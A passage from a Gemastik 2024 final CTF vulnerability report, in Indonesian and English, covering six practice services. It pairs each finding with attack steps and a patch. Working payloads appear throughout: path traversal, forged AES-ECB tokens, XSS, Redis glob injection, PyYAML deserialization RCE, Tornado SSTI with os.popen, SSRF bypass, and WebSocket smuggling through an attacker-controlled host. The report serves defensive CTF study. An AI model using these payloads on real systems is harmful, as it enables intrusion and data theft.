raw_bytes = base64.b64decode(voucher.encode(), validate=True)
if (raw_bytes in self.issued_vouchers
    and raw_bytes not in self.redeemed_voucher
    and self.validate_voucher(voucher)):
    self.redeemed_voucher.add(raw_bytes)
    self.balance += random.randint(30, 60)
```

6. PATCH VERIFICATION

- ✓ Decode with `base64.b64decode(..., validate=True)` and store the canonical bytes/hash.
- ✓ Reject any non-canonical encoding.
- ✓ The same voucher must be redeemable only once; a mutated encoding must be rejected.

FINDING 2 OF 2

Raw RSA malleability forgery (claimed)

UNVERIFIED | Low | Confidence: Low

STATUS	SEVERITY
UNVERIFIED	Low

CWE	EXPLOIT ARTIFACT
N/A	—

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

```
Voucher Base64 / raw RSA signature
```

TRANSFORM (Processing) Path

```
pow(voucher, e, n) then prefix/suffix checks
```

SINK (Execution Point) Impact

```
validate_voucher() balance credit
```

2. Root Cause

The code uses raw RSA without a proper signature padding scheme, so it is theoretically malleable. No practical forgery that preserves the fixed prefix/suffix was demonstrated; the exploitable issue is the Base64 replay above.

Syntax / Code Walkthrough

- Textbook RSA is multiplicatively malleable: `(m * a^e)^d = m^d * a` for a chosen `a`.
- However, the verifier requires the decrypted message to start with `00 02` and end with `00 || SHA256(name)`; a random multiplicative modification almost never preserves both.

3. VALIDITY EVIDENCE

Source review shows textbook RSA, but the prefix/suffix checks make a blind multiplicative forgery impractical. No local or published exploit was found; status UNVERIFIED, not counted as a confirmed vulnerability.

4. ATTACK SCENARIO / STEPS

No reproducible step was documented for this finding.

Payload / Command

```
No working forgery payload was found; use the Base64 replay exploit instead.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
message = int.to_bytes(pow(voucher, self.key.e, self.key.n), 128, "big")
return message.startswith(b"\x00\x02") and message.endswith(b"\x00" + self.Hm)
```

AFTER (Patched)

```
Use RSA-PSS or RSA-OAEP with a random salt; never accept raw RSA signatures.
```

6. PATCH VERIFICATION

- ✓ Replace raw RSA with RSA-PSS/OAEP and verify the signature over a canonical message.
- ✓ The replay exploit must fail; a legitimate voucher must still redeem.

CHECKLIST SLA & VERIFIKASI PATCH:
Menggunakan `self.issued_vouchers` dan mengecek `raw_bytes` menutup celah replay encoding sekaligus menutup celah pemalsuan signature RSA tanpa mengubah alur beli/redeem normal.

Gemastik 2024 | Web | Gleam / Erlang + SQLite | 3 VALID

13. gleam-drive

Primary Source File:

`gemastik-xvii-final/gleam-drive/src/app/service.gleam & crypto_ffi.erl`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi penyimpanan file ala Google Drive menggunakan bahasa Gleam. Setiap user punya folder `/tmp/gleam-drive/<email>`. User bisa upload file dan membagikan file lewat share token yang dienkripsi dengan AES-128-ECB.

FINDING 1 OF 3

Celah 1: Path Traversal pada Upload & Urutan Insert DB Sebelum Simpan File

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-22	`exploits/gleam-drive/exploit.py --vuln traversal`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`session.email dan file.file_name saat upload file di `service.gleam``

TRANSFORM (Processing) — Path

`filepath.join(user_dir, file.file_name) tanpa membuang `../`, lalu memanggil `repository.create_upload()` SEBELUM `util.upload_file()``

SINK (Execution Point) — Impact

Saat membuat token share dan mendownload file (`wisp.File(shared.filepath)`), server membaca file dari `filepath` hasil join tersebut

2. Root Cause

Attacker meng-upload file dengan nama `../../../flag.txt`. Ketika `util.upload_file` mencoba menulis ke `/flag.txt`, operasi tulis gagal (karena `/flag.txt` sudah ada/read-only), TAPI `repository.create_upload` sudah terlanjur menyimpan `../../../flag.txt` ke database! Selanjutnya attacker tinggal membuat link share untuk file tersebut dan mendownloadnya untuk mendapatkan isi `/flag.txt`.

Syntax / Code Walkthrough

- repository.create_upload(...) -> util.upload_file(...): Catatan nama file disimpan ke database lebih dulu sebelum filenya benar-benar disalin ke disk.

3. VALIDITY EVIDENCE

Source review: `service.upload()` builds `filepath.join(user_dir, file.file_name)` without a basename check, calls `repository.create_upload()` first, then `util.upload_file()`. The write to `/flag.txt` fails because the file exists, but the DB row remains. `handle_details` joins the same traversal path, and `send_file` serves `shared.filepath` after checking only the recipient email.

4. ATTACK SCENARIO / STEPS

1. Register and log in as a normal user.

2. Upload a file whose multipart filename is `../../../flag.txt`.

3. The DB record is inserted before the failed copy; `/details?filename=../../../flag.txt` returns a share token.

4. Download the token; the server serves `/flag.txt`.

Reference: `exploits/gleam-drive/exploit.py --vuln traversal`

Payload / Command

```
# 1. Register/login as attacker@example.com.
# 2. Upload with multipart filename ../../../flag.txt.
#    create_upload() inserts the record BEFORE util.upload_file() fails on /flag.txt.
# 3. GET /details?filename=../../../flag.txt → download token.
# 4. GET /download?token=<token> → /flag.txt contents.
python3 exploits/gleam-drive/exploit.py --host 127.0.0.1 --port 12000 --vuln traversal
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
let user_dir = filepath.join(config.upload_dir, session.email)
let filepath = filepath.join(user_dir, file.file_name)
case repository.create_upload(db, session.email, file.file_name, filesize) {
  Ok(_) → util.upload_file(file.path, filepath)
  Error(_) → Error("Failed to upload file")
}
```

AFTER (Patched)

```
// 1. Bersihkan nama file dengan mengambil basename-nya saja (membuang ../ dan /)
let clean_name = filepath.base_name(file.file_name)
let user_dir = filepath.join(config.upload_dir, filepath.base_name(session.email))
let dest_path = filepath.join(user_dir, clean_name)

// 2. Simpan file ke disk DULU, jika berhasil baru masukkan ke database!
case util.upload_file(file.path, dest_path) {
  Ok(_) → repository.create_upload(db, session.email, clean_name, filesize)
  Error(_) → Error("Failed to upload file")
}
```

6. PATCH VERIFICATION

- ✓ Use `filepath.base_name(file.file_name)` and reject `../`/absolute names.
- ✓ Write the file before inserting the DB row; only insert on success.
- ✓ Validate the resolved path is inside the user's upload directory at download time.

FINDING 2 OF 3

AES-128-ECB session/share tokens without integrity (key readable via traversal)

VALID High Confidence: Medium

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-347	exploits/gleam-drive/exploit.py --vuln key

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`session` cookie and `token` query parameter; `.aes-key` file

TRANSFORM (Processing) Path

`crypto_ffi.erl` uses `aes_128_ecb` with no MAC; `config.aes_key()` reads `.aes-key` from the process working directory

SINK (Execution Point) Impact

`extract_session_token()` / `extract_shared_token()` decrypt and JSON-decode attacker-controlled tokens; `send_file()` trusts `shared.filepath`

2. Root Cause

Tokens have no MAC and the AES key is recoverable via the upload traversal. An attacker can forge a session for any known email or a share token pointing at `/flag.txt`; the download handler trusts the token's `filepath`.

Syntax / Code Walkthrough

- AES-ECB is deterministic and unauthenticated; identical plaintext blocks produce identical ciphertext blocks.
- The key is stored in a file that can be read with the same path traversal used for the flag (e.g. `../../../app/.aes-key`, depending on cwd).
- With the key, an attacker can encrypt an arbitrary session `{email, expired_at}` or share `{filepath, recepient}` token.

3. VALIDITY EVIDENCE

Source review: `crypto_ffi.erl` uses AES-128-ECB with no authentication; `config.aes_key()` reads `.aes-key` from the working directory. The traversal primitive can read arbitrary files, including the key if the relative path is known. Token forgery then follows from the key. Confidence Medium because the exact key path depends on the deployment cwd; the missing-MAC design flaw is certain.

4. ATTACK SCENARIO / STEPS

1. Use the upload traversal to read the `.aes-key` file (try `../../../app/.aes-key`, `../../../.aes-key`).
2. Build the JSON plaintext for a share token: `{"filepath":"/flag.txt","recepient":"<your email>"}`.
3. PKCS#7-pad and AES-128-ECB encrypt with the leaked key; hex-encode.
4. Request `/download?token=<hex>`; `send_file` serves `/flag.txt`.

Reference: `exploits/gleam-drive/exploit.py --vuln key`

Payload / Command

```
Read `../../../app/.aes-key` via the traversal primitive, then encrypt
{"filepath":"/flag.txt","recepient":"attacker@example.com"} with AES-128-ECB and request
/download?token=<hex>.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
encrypt(Key, Data) → crypto:crypto_one_time(aes_128_ecb, Key, Data, true).
% no HMAC, no expiry binding in the share token
```

AFTER (Patched)

```
% Use AES-GCM or AES-CBC + HMAC-SHA256; keep the key outside the web root and never
derive trust from the token alone.
% Validate shared.filepath against the user's upload directory and the database record.
```

6. PATCH VERIFICATION

- ✓ Use AES-GCM or encrypt-then-MAC; reject tampered tokens.
- ✓ Store the key outside the upload/web-readable tree.
- ✓ Validate `shared.filepath` against the DB record and the user's directory.
- ✓ A forged token must be rejected; a legitimate share must still work.

FINDING 3 OF 3

Reflected/stored XSS via unescaped error and filename rendering

VALID Medium Confidence: High

STATUS	SEVERITY
VALID	Medium

CWE	EXPLOIT ARTIFACT
CWE-79	`exploits/gleam-drive/exploit.py --vuln xss`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`message` query parameter on `/error`; uploaded `file.file_name` on `/details`

TRANSFORM (Processing) — Path

`string.replace(error_html, "ERROR_MESSAGE", message)` and `string.replace(detail_html, "FILENAME", file.filename)`

SINK (Execution Point) — Impact

Raw HTML response (no escaping)

2. Root Cause

`GET /error?message=<script>alert(1)</script>` reflects the payload unescaped. A filename containing HTML is also rendered unescaped on the details page, giving stored XSS against the file owner.

Syntax / Code Walkthrough

- Gleam's `string.replace` is a plain string operation; it does not HTML-escape the replacement.
- The error template inserts `ERROR_MESSAGE` directly into the HTML body.

3. VALIDITY EVIDENCE

Source review: `render_error_html` and `render_detail_html` use raw `string.replace` into HTML templates with no escaping. The `/error` endpoint takes `message` directly from the query string.

4. ATTACK SCENARIO / STEPS

1. Send a crafted `/error?message=...` link to a victim (reflected), or upload a filename containing HTML (stored).

2. The browser parses the injected markup in the response.

Reference: `exploits/gleam-drive/exploit.py --vuln xss`

Payload / Command

```
GET /error?message=%3Cscript%3Ealert(document.domain)%3C/script%3E
# or upload a file named <img src=x onerror=alert(1)>.txt and open its details page
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
pub fn render_error_html(message: String) -> String {
  string.replace(error_html, "ERROR_MESSAGE", message)
}
```

AFTER (Patched)

```
// HTML-escape message/filename before substitution, or use a templating engine with
autoescaping.
pub fn render_error_html(message: String) -> String {
  string.replace(error_html, "ERROR_MESSAGE", html_escape(message))
}
```

6. PATCH VERIFICATION

- ✓ HTML-escape all interpolated values; the payload must appear as text.
- ✓ Normal error messages and filenames must still display.

CHECKLIST SLA & VERIFIKASI PATCH:
Setelah mengedit file `.gleam`, jalankan `gleam build` dan restart service.

Gemastik 2024 | Logic | Go (CLI Binary) | 1 VALID

14. go-green

Primary Source File:

`gemastik-xvii-final/go-green/src/main.go`

APA YANG DILAKUKAN SERVICE INI?

Program donasi sederhana berbahasa Go. User diberi uang awal `money := 420`. Jika user berhasil berdonasi `donate >= 1337`, program akan mencetak flag.

FINDING 1 OF 1

Missing Negative Number Validation (Donasi Negatif Menambah Uang)

VALID | Medium | Confidence: High

STATUS	SEVERITY
VALID	Medium

CWE	EXPLOIT ARTIFACT
CWE-20	exploits/go-green/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`fmt.Scanln(&donate) pada menu 1`

TRANSFORM (Processing) — Path

`Hanya mengecek `if donate > money`, lalu menghitung `money -= donate``

SINK (Execution Point) — Impact

`if donate ⩾ 1337 { fmt.Println(flag) }`

2. Root Cause

Karena tidak ada pengecekan `donate <= 0`, attacker pertama-tama memasukkan donasi `-2000`. Karena `-2000 > 420` bernilai salah, donasi diterima dan uang attacker bertambah menjadi `420 - (-2000) = 2420`. Selanjutnya attacker berdonasi `1337` dan langsung mendapatkan flag.

Syntax / Code Walkthrough

- money -= donate: Dalam matematika, dikurangi angka negatif sama dengan DITAMBAH (`420 - (-2000) = 2420`).

3. VALIDITY EVIDENCE

Source review and local execution: `fmt.Scanln(&donate)` accepts a negative integer; only `donate > money` is checked, so `-2000` is accepted and `money -= donate` increases the balance to 2420. A subsequent donation of 1337 satisfies `donate >= 1337` and prints the flag.

4. ATTACK SCENARIO / STEPS

1. Choose donate and enter `-2000`.
2. The balance becomes 2420.
3. Donate `1337`; the flag branch executes.

Reference: `exploits/go-green/exploit.py`

Payload / Command

```
1
-2000
1
1337
# money becomes 420 - (-2000) = 2420, then donate 1337 → flag
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
var donate int
fmt.Print("how much money? ")
fmt.Scanln(&donate)

if donate > money {
    fmt.Println("not enough money")
    return
}
if donate ⩾ 1337 {
    fmt.Println(flag)
}
money -= donate
```

AFTER (Patched)

```
var donate int
fmt.Print("how much money? ")
fmt.Scanln(&donate)

// Tolak angka negatif atau nol!
if donate ⩽ 0 || donate > money {
    fmt.Println("invalid amount or not enough money")
    return
}
if donate ⩾ 1337 {
    fmt.Println(flag)
}
money -= donate
```

6. PATCH VERIFICATION

- ✓ Reject `donate <= 0`.
- ✓ Negative input must not change the balance; the flag must not print.
- ✓ A normal donation within the balance must still work.

CHECKLIST SLA & VERIFIKASI PATCH:
Compile ulang `go build` setelah menambahkan pengecekan `donate <= 0`.

Gemastik 2024 | Web | TypeScript / NestJS + Redis | 2 VALID | 1 UNVERIFIED

15. kode-viewer

Primary Source File:

`gemastik-xvii-final/kode-viewer/src/kode/kode.service.ts & auth.dto.ts`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi berbagi snippet kode berbasis NestJS dan Redis. Setiap snippet disimpan di Redis dengan nama key `kode-<email>-<name>-<lang>-<kind>` (di mana kind bernilai `public` atau `private`). Flag disimpan sebagai snippet `private` milik admin.

FINDING 1 OF 3

Redis glob injection via wildcard email -> list all snippets

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-1333	`exploits/kode-viewer/exploit.py --vuln enum`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`email` field on `/auth/register` and `/auth/login`

TRANSFORM (Processing) — Path

`KodeService.list()` builds `kode-${user.email}-*`; `KVService.find()` calls `redisClient.keys(pattern)`

SINK (Execution Point) — Impact

`redisClient.keys('kode-*-*')` returns every snippet key, including private admin keys

2. Root Cause

Registering with email `*` makes the per-user list pattern match every snippet key. The list page then exposes private admin snippet IDs, which can be read via the IDOR below.

Syntax / Code Walkthrough

- `AuthDTO.email` has only `@IsNotEmpty()`; there is no `@IsEmail()` or metacharacter filter.
- Redis `KEYS` treats `*`, `?`, `[]` and `\` as glob metacharacters.
- With email `*`, the user's list pattern becomes `kode-*-*`, matching all users and kinds.

3. VALIDITY EVIDENCE

Source review and published writeup: the DTO accepts any non-empty string; `list()` concatenates the email into a Redis glob. Email `*` yields `kode-*-*`, returning all keys. The writeup confirms the wildcard email and full listing.

4. ATTACK SCENARIO / STEPS

1. Register with email `*`.
2. Log in and open `/kode`; the page lists every snippet key.
3. Read the admin private key via `/kode/<key>`.

Reference: `exploits/kode-viewer/exploit.py --vuln enum`

Payload / Command

```
POST /auth/register email=*&password=pw
POST /auth/login email=*&password=pw
GET /kode
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
// auth.dto.ts
@IsNotEmpty()
email: string;
// kode.service.ts
await this.kv.find(`kode-${user.email}-*`);
```

AFTER (Patched)

```
@IsEmail()
@Matches(/^[^*?\[\]\\]+$/)
email: string;
// list by a stable user id, not by the email string
```

6. PATCH VERIFICATION

- ✓ Validate email format and reject glob metacharacters.
- ✓ Scope listing by a stable user id, not the email string.
- ✓ A wildcard email must be rejected; a normal user must see only their own snippets.

FINDING 2 OF 3

Payload email/isAdmin overwrite in create() (claimed)

UNVERIFIED Low Confidence: Low

STATUS	SEVERITY
UNVERIFIED	Low
CWE	**EXPLOIT ARTIFACT**
N/A	–

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

JSON body fields accepted by `KodeDTO`/`create()`

TRANSFORM (Processing) Path

`this.kv.set(key, { email, ...payload }, 1200)`

SINK (Execution Point) Impact

Stored snippet object

2. Root Cause

The old HTML suggested this could escalate to admin. Source review shows the stored object is not used for authentication; the key and listing are based on the session email. No privilege escalation was demonstrated.

Syntax / Code Walkthrough

- The spread `{ email, ...payload }` lets a request body field named `email` (or `isAdmin`) override the session email in the stored value.
- The Redis key still uses the session email, and authorization uses the separate session object, not the snippet's fields.

3. VALIDITY EVIDENCE

Source review: the object override is real, but it does not affect `AuthGuard`/session data or the Redis key. No admin seed or local test demonstrated privilege escalation; status UNVERIFIED.

4. ATTACK SCENARIO / STEPS

No reproducible step was documented for this finding.

Payload / Command

```
POST /kode {"name":"x","kode":"x","lang":"x","email":"admin","isAdmin":true}
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
return this.kv.set(key, { email, ...payload }, 1200);
```

AFTER (Patched)

```
return this.kv.set(key, { email, name: payload.name, kode: payload.kode, lang:
payload.lang, kind: payload.kind }, 1200);
```

6. PATCH VERIFICATION

- ✓ Whitelist DTO fields and never spread the raw body into stored objects.
- ✓ The stored email must equal the session email; extra fields must be rejected.

FINDING 3 OF 3

IDOR: GET /kode/:id reads any snippet key without ownership/private check

VALID High Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-639	exploits/kode-viewer/exploit.py --vuln idor

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`:id` route parameter on `GET /kode/:id`

TRANSFORM (Processing) Path

`KodeService.show(params.id)` → `kv.get(key)` with no session/ownership/kind check

SINK (Execution Point) Impact

`res.render('kode', { kode })` returns the snippet content

2. Root Cause

A normal authenticated user can read another user's private snippet by requesting its key. Combined with the wildcard-email listing (or key guessing), this exposes the admin flag snippet.

Syntax / Code Walkthrough

- The route is guarded by `AuthGuard`, so any logged-in user can call it.
- `show()` does not compare the key's email prefix with `req.user.email` and does not check `kind === 'private'`.
- Any known Redis key, including the admin private flag key, is returned.

3. VALIDITY EVIDENCE

Source review: `KodeController.get()` calls `show(params.id)` with no user argument; `KodeService.show()` returns `kv.get(key)` directly. No ownership or private check exists. The wildcard-email listing provides the exact key.

4. ATTACK SCENARIO / STEPS

1. Log in as any user.
2. Obtain an admin/private key from the wildcard listing or guess it.
3. GET `/kode/<key>`; the snippet content is returned.

Reference: `exploits/kode-viewer/exploit.py --vuln idor`

Payload / Command

```
GET /kode/kode-admin—<name>-<lang>—private
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
async show(key) {
  return this.kv.get(key);
}
```

AFTER (Patched)

```
async show(key, user) {
  const kode = await this.kv.get(key);
  if (!kode) return null;
  if (!user.isAdmin && kode.email !== user.email) return null;
  if (!user.isAdmin && kode.kind === 'private') return null;
  return kode;
}
```

6. PATCH VERIFICATION

- ✓ Pass the session user to `show()` and enforce owner/admin + private checks.
- ✓ Another user's private key must return 404; the owner's key must still load.

CHECKLIST SLA & VERIFIKASI PATCH:
Jangan lupa jalankan `npm run build` dan restart proses Node/NestJS setelah mengedit file `.ts`.

Gemastik 2024 | Web | Python / FastAPI + PyYAML | 1 VALID

16. more-less

Primary Source File:

`gemastik-xvii-final/more-less/src/main.py`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi FastAPI sangat singkat yang menerima upload file YAML pada endpoint `POST /`, mem-parse isinya dengan PyYAML, dan mengembalikan hasilnya sebagai JSON.

FINDING 1 OF 1

Unsafe YAML Deserialization -> Remote Code Execution (RCE)

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-502	exploits/more-less/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Isi file yang di-upload user pada `file: UploadFile = File(...)`

TRANSFORM (Processing) — Path

Diteruskan langsung ke parser PyYAML tanpa filter

SINK (Execution Point) — Impact

`yaml.load(file.file, Loader=Loader)`

2. Root Cause

Attacker cukup meng-upload file YAML berisi `!!python/object/apply:subprocess.check_output [['cat', '/flag.txt']]`. Saat `yaml.load(..., Loader=Loader)` membaca file tersebut, PyYAML langsung menjalankan perintah itu dan mengembalikan isi `/flag.txt` di response HTTP!

Syntax / Code Walkthrough

- yaml.load(..., Loader=Loader): Di PyYAML, `Loader` biasa mengizinkan pembuatan objek Python sembarang menggunakan tag khusus seperti `!!python/object/apply:os.system`.
- yaml.safe_load(...): Hanya mengizinkan tipe data dasar yang aman (string, angka, list, dictionary) dan memblokir semua eksekusi fungsi/objek Python.

3. VALIDITY EVIDENCE

Source review and local execution: `yaml.load(file.file, Loader=Loader)` uses PyYAML's unsafe `Loader`, which constructs arbitrary Python objects. The corrected `!!python/object/apply:subprocess.check_output` payload executed locally; the existing `[[...]]` payload in the old HTML was malformed.

4. ATTACK SCENARIO / STEPS

1. Upload a YAML file containing a `!!python/object/apply` tag.
2. `yaml.load(..., Loader=Loader)` instantiates the object and runs the command.
3. The command output is returned in the JSON response.

Reference: `exploits/more-less/exploit.py`

Payload / Command

```
# Validated locally with PyYAML:
!!python/object/apply:subprocess.check_output
args: [[cat, /flag.txt]]
kwds: {text: true}
# Alternative:
!!python/object/apply:eval ["open('/flag.txt').read()"]
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
from yaml import load, Loader

@app.post("/")
def upload_file(file: UploadFile = File(...)):
    return load(file.file, Loader=Loader)
```

AFTER (Patched)

```
from yaml import safe_load

@app.post("/")
def upload_file(file: UploadFile = File(...)):
    return safe_load(file.file)
```

6. PATCH VERIFICATION

- ✓ Use `yaml.safe_load()` and reject custom tags.
- ✓ The malicious YAML must return a parse error or plain data, never command output.
- ✓ Normal YAML documents must still parse.

CHECKLIST SLA & VERIFIKASI PATCH:
Patch paling singkat di seluruh sejarah Gemastik: cukup ganti `load(file.file, Loader=Loader)` menjadi `safe_load(file.file)`!

Gemastik 2024 | Web | Python / Tornado + Nginx Reverse Proxy | 3 VALID | 1 PARTIAL

17. tempest-poc

Primary Source File:

`gemastik-xvii-final/tempest-poc/backend/src/app.py & frontend/nginx.conf`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi scanner web dengan dua kelompok endpoint: `/api/public/*` (bisa diakses dari luar lewat Nginx) dan `/api/private/report` (diblokir oleh Nginx dari luar, berfungsi merender laporan HTML menggunakan Tornado Template).

FINDING 1 OF 4

WebSocket smuggling through /api/public -> /api/private/report

VALID | High | Confidence: Medium

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-444	`exploits/tempest-poc/exploit.py --vuln smuggle`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`HTTP `Upgrade: websocket` + `Connection: Upgrade` on `/api/public/test`; JSON `url` points to an attacker-controlled host`

TRANSFORM (Processing) Path

`nginx sets `proxy_set_header Upgrade $http_upgrade` and `Connection $connection_upgrade` for the whole `^/api/public` location; the backend's SSRF request receives HTTP 101 from the attacker`

SINK (Execution Point) Impact

`nginx upgrades the proxied connection to a raw tunnel; the next request can target `/api/private/report` on the Tornado backend`

2. Root Cause

The private report endpoint relies on nginx to block external access. WebSocket smuggling turns the public test endpoint into a raw tunnel to the backend, so `/api/private/report` becomes reachable. The attacker must control a host that returns HTTP 101.

Syntax / Code Walkthrough

- `location ~ ^/api/public` covers `/api/public/test`, not just `/api/public/ws/`.
- nginx forwards `Upgrade`/`Connection`; when the upstream response is 101, nginx treats the connection as a WebSocket tunnel.
- The tunnel forwards raw HTTP bytes to the backend, bypassing nginx's path-based block on `/api/private/*`.

3. VALIDITY EVIDENCE

Source review plus the published daffainfo PoC: nginx applies the Upgrade headers to the whole `/api/public` prefix; the backend SSRF request to the attacker returns 101; nginx then tunnels raw bytes. The PoC reaches `/api/private/report` and runs `id`. Requires an attacker-controlled 101 server.

4. ATTACK SCENARIO / STEPS

1. Run an HTTP server that returns status 101.

2. Send req1 to `/api/public/test` with `Connection: Upgrade`, `Upgrade: websocket`, and the attacker URL.

3. After nginx receives the 101, send req2 for `/api/private/report` on the same socket with `Host: tempest-poc:5000`.

4. Use the SSTI payload in `report_name` to read the flag.

Reference: `exploits/tempest-poc/exploit.py --vuln smuggle`

Payload / Command

```
See `exploits/tempest-poc/exploit.py --vuln smuggle`; req1 POST /api/public/test with
Upgrade: websocket and body {"url":"http://ATTACKER:8888"}; after the 101, req2 GET
/api/private/report?scan_id=<uuid>&report_name=... on the same socket.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
location ~ ^/api/public {
    proxy_pass http://tempest-poc:5000;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection $connection_upgrade;
}
```

AFTER (Patched)

```
location = /api/public/ws/ {
    proxy_pass http://tempest-poc:5000;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "Upgrade";
}
location /api/public/ {
    proxy_pass http://tempest-poc:5000;
    proxy_set_header Upgrade "";
    proxy_set_header Connection "";
}
```

6. PATCH VERIFICATION

- ✓ Only the exact `/api/public/ws/` location may receive Upgrade/Connection headers.
- ✓ The smuggling sequence must not reach `/api/private/report`; normal WebSocket and public API traffic must still work.
- ✓ Require authentication on `/api/private/report` as defense in depth.

FINDING 2 OF 4

VALID Critical Confidence: High

Tornado SSTI via report_name

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-1336	exploits/tempest-poc/exploit.py --vuln smuggle

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`report_name` query parameter on `/api/private/report`

TRANSFORM (Processing) Path

`report_template.replace("<REPORT_NAME>", report_name)` inserts raw input into the template source before `tornado.template.Template(...)`

SINK (Execution Point) Impact

`Template(report_template).generate(scan_id=..., scan_data=...)` compiles and executes Python expressions in `{{ ... }}`

2. Root Cause

`report_name` is concatenated into template source, so a query value containing `{{ ... }}` is compiled and executed. Direct external access is blocked by nginx, but the WebSocket-smuggling primitive above reaches the endpoint.

Syntax / Code Walkthrough

- `report_template.html` contains the literal placeholder `<REPORT_NAME>`.
- The handler replaces it with the raw query value, then compiles the whole string as a Tornado template.
- Tornado evaluates `{{ ... }}` as Python; `__import__('os').popen(...)` gives command execution.

3. VALIDITY EVIDENCE

Source review and published PoC: the raw `report_name` is inserted before `Template()`; the PoC executes `id`. Combined with the smuggling primitive, this gives external RCE.

4. ATTACK SCENARIO / STEPS

1. Obtain a valid `scan_id` (run a scan or use an existing report).
2. Reach `/api/private/report` via smuggling.
3. Send a `report_name` containing a Tornado/Python expression.
4. The rendered report contains the command output.

Reference: `exploits/tempest-poc/exploit.py --vuln smuggle`

Payload / Command

```
GET /api/private/report?scan_id=<valid-uuid>&report_name={{__import__('os').popen('cat /flag.txt').read()}}
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
report_template = report_template.replace("<REPORT_NAME>", report_name)
self.write(tornado.template.Template(report_template).generate(scan_id=scan_id, scan_data=scan_data))
```

AFTER (Patched)

```
report_template = report_template.replace("<REPORT_NAME>", "{{ report_name }}")
self.write(tornado.template.Template(report_template).generate(scan_id=scan_id, scan_data=scan_data, report_name=report_name))
```

6. PATCH VERIFICATION

- ✓ Pass `report_name` as a template variable and autoescape it; never concatenate into template source.
- ✓ The SSTI payload must render literally; normal report names must work.

FINDING 3 OF 4

SSRF in /api/public/test via numeric-IP validation bypass

VALID High Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-918	`exploits/tempest-poc/exploit.py --vuln ssrf`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

JSON `url` field on `POST /api/public/test`

TRANSFORM (Processing) — Path

`validate_url()` treats all-digit netlocs as IPs but `ipaddress.ip_address('2130706433')` raises ValueError; `requests.get('http://2130706433:5000')` resolves it to 127.0.0.1

SINK (Execution Point) — Impact

`requests.get(cleaned_url, allow_redirects=False, verify=False, timeout=10)`

2. Root Cause

An attacker can make the backend request loopback/internal services by using decimal or short-form IPs. The response status is returned to the attacker, enabling internal port scanning; the path is stripped, so this primitive alone does not reach `/api/private/report`.

Syntax / Code Walkthrough

- `netloc.replace('.', '').isdigit()` is true for `2130706433` and `127.1`.
- `is_local_ip()` only blocks addresses that `ipaddress.ip_address()` can parse; the numeric forms raise ValueError and are treated as non-local.
- The HTTP client resolves the numeric form to loopback.

3. VALIDITY EVIDENCE

Source review: the numeric netloc bypasses `is_local_ip()`; `requests` resolves it to loopback. The published tempest-poc writeup notes that direct localhost is blocked but the endpoint is SSRF-prone. The response code reveals whether the internal port is open.

4. ATTACK SCENARIO / STEPS

1. Send `{"url":"http://2130706433:5000"}` to `/api/public/test`.
2. `validate_url()` accepts it; `requests.get` connects to 127.0.0.1:5000.
3. Observe the returned status code to enumerate internal services.

Reference: `exploits/tempest-poc/exploit.py --vuln ssrf`

Payload / Command

```
POST /api/public/test {"url":"http://2130706433:5000"}
# or http://127.1:5000
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
if not netloc.replace(".", "").isdigit():
    ip = socket.gethostbyname(netloc)
    ...
else:
    if is_local_ip(netloc, local_ips): return False
```

AFTER (Patched)

```
ip = ipaddress.ip_address(socket.gethostbyname(netloc))
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
    return False
```

6. PATCH VERIFICATION

- ✓ Resolve the host to an IP and reject private/loopback/link-local/reserved ranges.
- ✓ Numeric and short-form IPs must be normalized before validation.
- ✓ A normal external URL must still work.

FINDING 4 OF 4

Path traversal in scan_id (limited to .json files)

PARTIALLY VALID | Low | Confidence: Medium

STATUS	SEVERITY
PARTIALLY VALID	Low

CWE	EXPLOIT ARTIFACT
CWE-22	`exploits/tempest-poc/exploit.py --vuln traversal`

1. SOURCE-TO-SINK ANALYSIS

